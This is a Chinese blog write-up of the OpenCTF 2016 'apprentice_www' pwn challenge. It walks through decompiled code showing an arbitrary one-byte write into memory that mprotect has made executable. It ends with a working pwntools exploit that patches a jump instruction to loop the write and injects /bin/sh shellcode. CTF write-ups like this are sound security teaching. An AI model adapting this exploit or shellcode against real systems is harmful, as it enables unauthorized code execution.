【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www

原创

BAKUMANSEC 于 2019-08-27 21:31:07 发布 240 收藏

分类专栏： i春秋_Linux pwn入门教程系列 - Writeups 文章标签： Writeup Pwn

本文链接：https://blog.csdn.net/m0_38100569/article/details/100108868

0x01 解题思路

查看文件基本信息

```
wby@wby-virtual-machine:~/Desktop/CTF/pwn1/0x02/Openctf 2016-apprentice_www$ fil
e apprentice_www
apprentice_www: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynami
cally linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=460ef2a3
8cfd617f7f978f1a078db06ed387e62a, not stripped
wby@wby-virtual-machine:~/Desktop/CTF/pwn1/0x02/Openctf 2016-apprentice_www$ che
cksec apprentice_www
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/wby/.pwntools-cache
/update to 'never'.
[*] You have the latest version of Pwntools (3.14.0.dev0)
[*] '/home/wby/Desktop/CTF/pwn1/0x02/Openctf 2016-apprentice_www/apprentice_www'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
                                                    https://blog.csdn.net/m0_38100569
```

IDA查看

main

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  alarm(0x1Eu);
  setup((int)main);
  return butterflySwag();
}
```

setup

```
int __cdecl setup(int a1)
```

```
{
  int result; // eax
  signed int i; // [esp+18h] [ebp-10h]

  for ( i = 0; i <= 2; ++i )
    result = mprotect((void *)((i << 12) + (a1 & 0x8048000)), 0x1000u, 7);
  return result;
}
```

调用mprotect函数给.bss、.text、.data等段增加了可读可写可执行权限

butterflySwag

```
int butterflySwag()
{
  _BYTE *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  __isoc99_scanf((const char *)&unk_8048730, &v1);
  __isoc99_scanf((const char *)&unk_8048733, &v2);
  v2 = (unsigned __int8)v2;
  *v1 = v2;
  if ( v2 )
  {
    if ( v2 == 1 )
    {
      puts("All truly great thoughts are conceived by walking.");
    }
    else if ( v2 > 4 )
    {
      if ( v2 > 9 )
        puts("When you look into an abyss, the abyss also looks into you.");
      else
        puts("He who has a why to live can bear almost any how.");
    }
    else
    {
      puts("Without music, life would be a mistake.");
    }
  }
  else
  {
    puts("That which does not kill us makes us stronger.");
  }
  return 0;
}
```



```
.rodata:08048730 unk_8048730     db  25h ; %            ; DATA XREF: butterflySwag+D↑o
.rodata:08048731                 db  75h ; u
.rodata:08048732                 db    0
.rodata:08048733 unk_8048733     db  25h ; %            ; DATA XREF: butterflySwag+20↑o
.rodata:08048734                 db  64h ; d
```

```
.text:0804859D                 lea     eax, [ebp+var_10]
.text:080485A0                 mov     [esp+4], eax
.text:080485A4                 mov     dword ptr [esp], offset unk_8048730
.text:080485AB                 call    ___isoc99_scanf
.text:080485B0                 lea     eax, [ebp+var_C]
.text:080485B3                 mov     [esp+4], eax
.text:080485B7                 mov     dword ptr [esp], offset unk_8048733
.text:080485BE                 call    ___isoc99_scanf
.text:080485C3                 mov     eax, [ebp+var_C]
.text:080485C6                 movzx   eax, al
```

```
.text:080485C9                mov     [ebp+var_C], eax
.text:080485CC                mov     eax, [ebp+var_10]
.text:080485CF                mov     edx, [ebp+var_C]
.text:080485D2                mov     [eax], dl
.text:080485D4                mov     eax, [ebp+var_C]
.text:080485D7                test    eax, eax
.text:080485D9                jnz     short loc_80485E9
.text:080485DB                mov     dword ptr [esp], offset s ; "That which does not kill us makes us st"...
.text:080485E2                call    _puts
.text:080485E7                jmp     short loc_8048637
```


接收两次用户输入，第一次输入v1为一个地址，第二次输入v2为一个整数。之后会把v2的最低一个字节写入到v1指向的内存单元。这样就可以把shellcode写入到任意的可读可执行页。但是由于一次只能写入一个字节，需要跳转到第一个scanf执行之前循环接受输入。那么就可以把080485D9处的jnz短跳转指令的操作数修改一下，使其跳转至0804859D处循环执行写入shellcode。注意操作数的计算方式：`跳转点地址-跳转指令的后一条指令的地址`(单字节)。另外，输入的shellcode地址和shellcode单个字节都必须转成字符串。

0x02 EXP

```python
#!/usr/bin/python
#coding:utf-8

from pwn import *

io = process('./apprentice_www')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
jnz_param_addr = 0x080485DA
shellcode_addr = 0x080485DB

io.sendline(str(jnz_param_addr))
io.sendline(str(0xc2))

for i in range(len(shellcode)):
 io.sendline(str(shellcode_addr + i))
 io.sendline(str(ord(shellcode[i])))

io.sendline(str(jnz_param_addr))
io.sendline(str(0x00))

io.interactive()
```